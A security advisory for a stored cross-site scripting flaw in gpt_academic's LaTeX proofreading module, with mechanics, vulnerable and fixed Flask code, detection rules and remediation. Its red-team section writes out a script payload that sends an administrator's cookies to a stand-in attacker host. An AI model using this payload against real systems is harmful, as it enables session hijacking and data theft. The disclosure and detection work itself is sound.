CVE-2025-0183

Executive Summary

CVE-2025-0183 is a stored cross-site scripting (XSS) vulnerability identified in the Latex Proof-Reading Module of binary-husky/gpt_academic version 3.9.0. The flaw allows an attacker to inject malicious scripts into the debug_log.html file generated by the module. When an administrator views this debug report, the injected scripts execute within the admin's browser session, potentially leading to unauthorized actions, data exfiltration, or session hijacking. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential impact on administrative accounts.

Supply Chain & Package Security

This vulnerability affects the Python package gpt_academic (PyPI ecosystem). As a supply chain risk, any organization using this package in their AI/LLM pipeline should assess their exposure. The lack of a patch means users must rely on manual mitigations or temporary workarounds until an official fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker needs a low-privilege account to submit malicious LaTeX content.
• User Interaction (UI): Required (R) – The admin must view the generated debug report.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but the potential for admin-level compromise makes this a serious concern.

Deep Dive & Mechanics

The vulnerability resides in the Latex Proof-Reading Module of gpt_academic. When a user submits LaTeX content for proofreading, the module generates a debug log file (debug_log.html) that includes the submitted content without proper sanitization. An attacker can inject malicious JavaScript code within the LaTeX input, which is then stored in the HTML file. When an administrator accesses this debug report, the injected script executes in the context of the admin's browser session.

Root Cause: The application fails to sanitize or escape user-supplied LaTeX content before embedding it into the HTML debug log. This allows arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker logs into gpt_academic with a low-privilege account.
2. Attacker submits a LaTeX proofreading request containing malicious JavaScript (e.g., <script>alert('XSS')</script>).
3. The system generates debug_log.html with the injected script.
4. Admin navigates to the debug report.
5. The injected script executes, potentially stealing cookies, performing actions on behalf of the admin, or exfiltrating data.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern with a secure implementation.

Vulnerable Code (Python/Flask example):

@app.route('/latex_proofread', methods=['POST'])
def latex_proofread():
    latex_content = request.form['latex']
    # Generate debug log
    with open('debug_log.html', 'w') as f:
        f.write(f"<html><body><pre>{latex_content}</pre></body></html>")
    return "Proofreading complete"

Patched Code (Secure implementation):

import html

@app.route('/latex_proofread', methods=['POST'])
def latex_proofread():
    latex_content = request.form['latex']
    # Sanitize output
    safe_content = html.escape(latex_content)
    with open('debug_log.html', 'w') as f:
        f.write(f"<html><body><pre>{safe_content}</pre></body></html>")
    return "Proofreading complete"

The patched version uses html.escape() to convert special characters (e.g., <, >, &) into HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install gpt_academic version 3.9.0 in a controlled environment.
2. Create a low-privilege user account.
3. Access the Latex Proof-Reading Module.

Exploitation Steps:

1. Submit the following LaTeX content:

   \documentclass{article}
   \begin{document}
   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   \end{document}
   

2. The system generates debug_log.html containing the injected script.
3. As an admin, navigate to the debug report URL (e.g., /debug_log.html).
4. The script executes, sending the admin's cookies to the attacker's server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection & Prevention:

1. Monitor for unusual LaTeX submissions containing HTML/JavaScript tags.
2. Implement Content Security Policy (CSP) headers to restrict script execution.
3. Use Web Application Firewall (WAF) rules to block XSS payloads in LaTeX input.
4. Restrict access to debug logs to only necessary personnel.
5. Apply input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• File: debug_log.html containing unexpected <script> tags or JavaScript code.
• Network: Outbound connections to unknown domains from the gpt_academic server.
• Logs: Unusual LaTeX submissions containing HTML tags or JavaScript.
• Process: Unexpected child processes spawned by the browser when viewing debug logs.

Detection Engineering

YARA Rule

rule CVE_2025_0183_XSS_Detection {
    meta:
        description = "Detects stored XSS payloads in debug_log.html files from gpt_academic"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0183"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in gpt_academic debug_log.html
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in debug_log.html files generated by gpt_academic
author: Valters IT
date: 2025-01-01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: 'debug_log.html'
        TargetFilename|contains: 'gpt_academic'
    filter:
        - TargetFilename|contains: 'safe'
    condition: selection and not filter
falsepositives:
    - Legitimate LaTeX content containing HTML tags (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0183 - Stored XSS in gpt_academic debug_log"; flow:to_server,established; content:"debug_log.html"; http_uri; content:"<script"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Latex Proof-Reading Module if not essential.
2. Restrict access to debug logs to only trusted administrators.
3. Implement a Web Application Firewall (WAF) with XSS protection rules.
4. Apply output encoding (e.g., HTML entity encoding) to all user-supplied content in debug logs.

Long-term Fix:

• Await an official patch from binary-husky. Monitor the GitHub repository for updates.
• Consider forking the repository and applying the fix manually (see patched code example).
• Conduct a security audit of all modules that generate HTML output from user input.

Workaround:

• Modify the source code to sanitize LaTeX input before writing to debug_log.html using html.escape() or a similar function.

Valters IT
Securing Digital Frontiers